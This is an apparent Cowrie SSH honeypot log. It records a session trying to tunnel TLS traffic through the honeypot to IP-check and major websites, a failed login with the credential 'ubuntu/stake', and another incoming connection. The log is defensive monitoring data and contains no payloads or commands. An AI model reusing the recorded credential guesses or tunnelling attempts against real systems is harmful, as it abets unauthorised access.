{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1C\\x07\\x15\\xbfi\\xa7\\x8a\\x04\\x9bVj\\x80\\x9a\\xac\\x03\\xed\\xc3\\x9f\\x88\\x89@\\xd2\\x92\\xc2\\xf6\\xa0\\xb9\\xbf\\xbe\\x0e\\xf6 5\\xcd'T55[Ro\\xf4\\xaaW\\xffj\\x8b\\xd5\\xef\\x1d\\xdd\\xd7\\x82e\\xf4L\\x06J\\x8a\\xe5\\xf1\\xa5\\x16\\x1c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 5U\\xbc\\xd8\\xb9\\xa0~x\\x9b\\x98T\\xf0^/\\x06$\\xb6/+^\\x9da\\xcfG\\x97\\x12\\xfd\\x90\\xbf'\\xee\\x06\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe1C\\x07\\x15\\xbfi\\xa7\\x8a\\x04\\x9bVj\\x80\\x9a\\xac\\x03\\xed\\xc3\\x9f\\x88\\x89@\\xd2\\x92\\xc2\\xf6\\xa0\\xb9\\xbf\\xbe\\x0e\\xf6 5\\xcd'T55[Ro\\xf4\\xaaW\\xffj\\x8b\\xd5\\xef\\x1d\\xdd\\xd7\\x82e\\xf4L\\x06J\\x8a\\xe5\\xf1\\xa5\\x16\\x1c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 5U\\xbc\\xd8\\xb9\\xa0~x\\x9b\\x98T\\xf0^/\\x06$\\xb6/+^\\x9da\\xcfG\\x97\\x12\\xfd\\x90\\xbf'\\xee\\x06\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.690332Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":47732,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:47732","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.812680Z","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.970880Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab\\xdbzI\\xe5\\x11 \\xe1\\x1f\\x0b\\x84\\xd61t;,W\\xb8\\x9c4\\xf9j\\x8a\\xa75\\x8d\\x95T\\xf7\\x95\\x0e\\x0f )O\\x07dm\\x98\\xba}\\xd5\\xbf\\xb2\\xcd\\x0f\\xe0\\x8a\\xd8>\\xe7k\\x14\\x15\\xd7\\x00-x\\xb2\\xbc\\xc0\\xda\\xc0\\x01\\x1b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xc4\\xd5\\xc6;\\x80\\x06\\xfa-\\xa2\\xe8\\xf4\\x0f\\x12I4\\xad\\x99c\\x19\\x08Q\\xd8\\xeb\\x90\\xa2\\x84\\xe6F\\xbcN6\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab\\xdbzI\\xe5\\x11 \\xe1\\x1f\\x0b\\x84\\xd61t;,W\\xb8\\x9c4\\xf9j\\x8a\\xa75\\x8d\\x95T\\xf7\\x95\\x0e\\x0f )O\\x07dm\\x98\\xba}\\xd5\\xbf\\xb2\\xcd\\x0f\\xe0\\x8a\\xd8>\\xe7k\\x14\\x15\\xd7\\x00-x\\xb2\\xbc\\xc0\\xda\\xc0\\x01\\x1b\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xc4\\xd5\\xc6;\\x80\\x06\\xfa-\\xa2\\xe8\\xf4\\x0f\\x12I4\\xad\\x99c\\x19\\x08Q\\xd8\\xeb\\x90\\xa2\\x84\\xe6F\\xbcN6\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:43.974364Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.151.119","dst_port":443,"src_ip":"185.156.73.233","src_port":48028,"message":"direct-tcp connection request to 142.251.151.119:443 from 127.0.0.1:48028","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:45.808696Z","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.151.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.151.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:47.527119Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.151.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03yQ/\\x98\\x10c\\xe8w\\xdeau\\x08\\xc4`}G\\xf8\\xea\\xdcB\\xbd\\xf6\\xad\\x1b\\xba\\xd4\\x0f\\x85]y\\x14W \\x1d\\xc5\\x90yo\\x03\\xc0\\xc5\\x18zYu\\xb5\\xed+\\xb9\\x9c\\x15J\\x95\\xd9Y\\x16\\xbaCT\\xde\\xe2\\xfc]C\\xaf\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 :9\\x94A\\xee\\x84\\x03\\xeb\\xda\\x9b\\x82\\x82\\xcf\\xbcP\\xd2\\xc0\\xd5\\xf3\\x93W?G\\nV\\xb47\\x15I\\x19\\xcaX\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.151.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03yQ/\\x98\\x10c\\xe8w\\xdeau\\x08\\xc4`}G\\xf8\\xea\\xdcB\\xbd\\xf6\\xad\\x1b\\xba\\xd4\\x0f\\x85]y\\x14W \\x1d\\xc5\\x90yo\\x03\\xc0\\xc5\\x18zYu\\xb5\\xed+\\xb9\\x9c\\x15J\\x95\\xd9Y\\x16\\xbaCT\\xde\\xe2\\xfc]C\\xaf\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 :9\\x94A\\xee\\x84\\x03\\xeb\\xda\\x9b\\x82\\x82\\xcf\\xbcP\\xd2\\xc0\\xd5\\xf3\\x93W?G\\nV\\xb47\\x15I\\x19\\xcaX\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:47.531077Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:10:49.505513Z","src_ip":"185.156.73.233","session":"7d61f8a5fa39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47162,"dst_ip":"10.17.0.5","dst_port":22,"session":"10afe57e0235","protocol":"ssh","message":"New connection: 2.57.122.210:47162 (10.17.0.5:22) [session: 10afe57e0235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:05.437184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:05.442004Z","src_ip":"2.57.122.210","session":"10afe57e0235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:05.547362Z","src_ip":"2.57.122.210","session":"10afe57e0235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:05.867643Z","src_ip":"2.57.122.210","session":"10afe57e0235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:06.982659Z","src_ip":"2.57.122.210","session":"10afe57e0235","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":31019,"dst_ip":"159.203.135.109","dst_port":22,"session":"b999acb21e1b","protocol":"ssh","message":"New connection: 2.57.121.25:31019 (159.203.135.109:22) [session: b999acb21e1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:11:43.001179Z"}
